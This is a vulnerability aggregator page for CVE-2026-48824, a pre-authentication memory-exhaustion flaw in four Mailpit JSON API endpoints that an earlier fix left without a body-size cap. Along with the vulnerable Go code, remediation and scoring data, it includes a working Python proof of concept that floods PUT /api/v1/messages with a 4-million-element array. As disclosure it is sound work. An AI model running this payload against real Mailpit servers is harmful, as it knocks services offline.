CVE-2026-48824

MEDIUMPre-NVD 5.35.3
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
5.3
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 5.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)

Summary

The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only POST /api/v1/send with http.MaxBytesReader. The four other Mailpit JSON-body API endpoints PUT /api/v1/messages (SetReadStatus), DELETE /api/v1/messages (DeleteMessages), PUT /api/v1/tags (SetMessageTags), and POST /api/v1/message/{id}/release (ReleaseMessage) still call json.NewDecoder(r.Body) directly with no body-size cap and remain reachable unauthenticated in the default docker run axllent/mailpit:latest deploy. An unauthenticated remote attacker can post a multi-million-element IDs slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.

Affected versions

  • Mailpit at HEAD 67a7ca83ff759082d2b86dda07eb5bb3dad404e0 (v1.30.0, 2026-05-14).
  • All versions <= v1.30.0 (the release that shipped the GHSA-fpxj fix). Versions < v1.30.0 are vulnerable to the original GHSA-fpxj on /api/v1/send; version v1.30.0 carries the sibling-endpoint gap described here.

Privilege required

None in default deploy (no --ui-auth, no --smtp-auth). The four endpoints share the same middleWareFunc wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With --ui-auth=user:pass configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.

The incomplete fix

Commit 136bdde ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the MaxBytesReader wrap in exactly one place:

// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}

decoder := json.NewDecoder(r.Body)

The sibling JSON-body handlers were not updated. Side-by-side at HEAD 67a7ca8:

| File | Function | MaxBytesReader? | Unauth in default deploy? | |---|---|---|---| | server/apiv1/send.go:45-48 (SendMessageHandler) | POST /api/v1/send | YES (50 MB) | YES (via sendAPIAuthMiddleware falling back to middleWareFunc) | | server/apiv1/messages.go:107 (SetReadStatus) | PUT /api/v1/messages | NO | YES | | server/apiv1/messages.go:187 (DeleteMessages) | DELETE /api/v1/messages | NO | YES | | server/apiv1/tags.go:54 (SetMessageTags) | PUT /api/v1/tags | NO | YES | | server/apiv1/release.go:55 (ReleaseMessage) | POST /api/v1/message/{id}/release | NO | YES |

The four sibling handlers all share the shape:

// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)

var data struct { Read bool IDs []string Search string }

err := decoder.Decode(&data)

No MaxBytesReader, no body-size cap, no r.Header.Get("Content-Length") check. The json.NewDecoder streams the body but each "x" element materialises as a separate Go string plus slice-header overhead, so the unmarshalled []string slice for IDs grows roughly linearly with attacker payload size.

Vulnerable code

server/apiv1/messages.go:107:

func SetReadStatus(w http.ResponseWriter, r *http.Request) {
    decoder := json.NewDecoder(r.Body)

var data struct { Read bool IDs []string Search string }

err := decoder.Decode(&data) if err != nil { httpError(w, err.Error()) return } // ...

Three other handlers (DeleteMessages, SetMessageTags, ReleaseMessage) match the same shape.

Reachability chain (default deploy)

Listen()                                  # config/config.go HTTPListen = "[::]:8025"
   ↓
HTTP server                               # server/server.go:177-186
   ↓
middleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 — auth bypassed when UICredentials == nil
   ↓
SetReadStatus                             # server/apiv1/messages.go:87
   ↓
json.NewDecoder(r.Body).Decode(&data)    # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
   ↓
RSS grows ~28x relative to payload size

config/config.go's MaxMessageSize field (added by 136bdde) exists and is parsed from --max-message-size (default 50 MB), but it is checked only in server/apiv1/send.go. The four sibling handlers never consult it.

Reproduction (E2E against axllent/mailpit:latest v1.30.0)

# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest

2) baseline RSS

docker stats mailpit-test --no-stream --format '{{.MemUsage}}'

→ 8.473MiB / 5.772GiB

3) trigger

python3 - <<'PY' import socket N = 4_000_000 prefix = b'{"Read": true, "IDs": [' items = b'"x"' + (b',"x"' * (N - 1)) suffix = b']}' clen = len(prefix) + len(items) + len(suffix) s = socket.create_connection(("localhost", 18025), timeout=300) s.sendall( b"PUT /api/v1/messages HTTP/1.1\r\n" b"Host: localhost:18025\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) rem = items while rem: s.sendall(rem[:1024*1024]); rem = rem[1024*1024:] s.sendall(suffix) s.close() PY

4) post-PoC RSS

docker stats mailpit-test --no-stream --format '{{.MemUsage}}'

→ 455.8MiB / 5.772GiB

Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.

The same primitive reproduces on DELETE /api/v1/messages, PUT /api/v1/tags, and POST /api/v1/message/{any-id}/release with identical body shapes; each of the four endpoints individually reproduces the same amplification.

Impact

  • Pre-auth remote memory-exhaustion DoS. Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on [::]:8025. A single TCP connection sending one ~100 MB JSON IDs body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.
  • Disk amplification (secondary). The IDs slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For SetReadStatus, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in len(ids).
  • Same threat model as the parent. The maintainer chose 50 MB as the default cap for /api/v1/send to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.

Suggested fix

Apply the same MaxBytesReader pattern already proven on send.go to every JSON-body handler. Concretely, wrap each of the four sibling sites:

// server/apiv1/messages.go:107  (SetReadStatus)
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)

// server/apiv1/messages.go:187 (DeleteMessages) — same wrap // server/apiv1/tags.go:54 (SetMessageTags) — same wrap // server/apiv1/release.go:55 (ReleaseMessage) — same wrap

A cleaner shape is to factor the cap into the existing middleWareFunc wrapper in server/server.go, so every API handler that is not an upload-style endpoint inherits the cap by default.

Credit

Reported by tonghuaroot.

CVSS v3
5.3
EG Score
5.3(low)
EPSS
KEV
Not listed

Published

July 1, 2026

Last Modified

July 1, 2026

Vendor Advisories for CVE-2026-48824(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 6× in last 7d / 6× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 20:38 UTCEG score recompute
  2. 2026-07-05 20:43 UTCEG score recompute
  3. 2026-07-04 20:47 UTCEG score recompute
  4. 2026-07-03 20:52 UTCEG score recompute
  5. 2026-07-02 20:57 UTCEG score recompute
  6. 2026-07-01 21:02 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48824?
CVE-2026-48824 is a medium vulnerability published on July 1, 2026. Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw) Summary The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via…
When was CVE-2026-48824 disclosed?
CVE-2026-48824 was first published in the National Vulnerability Database on July 1, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48824?
CVE-2026-48824 has a CVSS v4.0 base score of 5.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48824?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48824, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-48824

Explore →

Is Your Infrastructure Affected by CVE-2026-48824?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.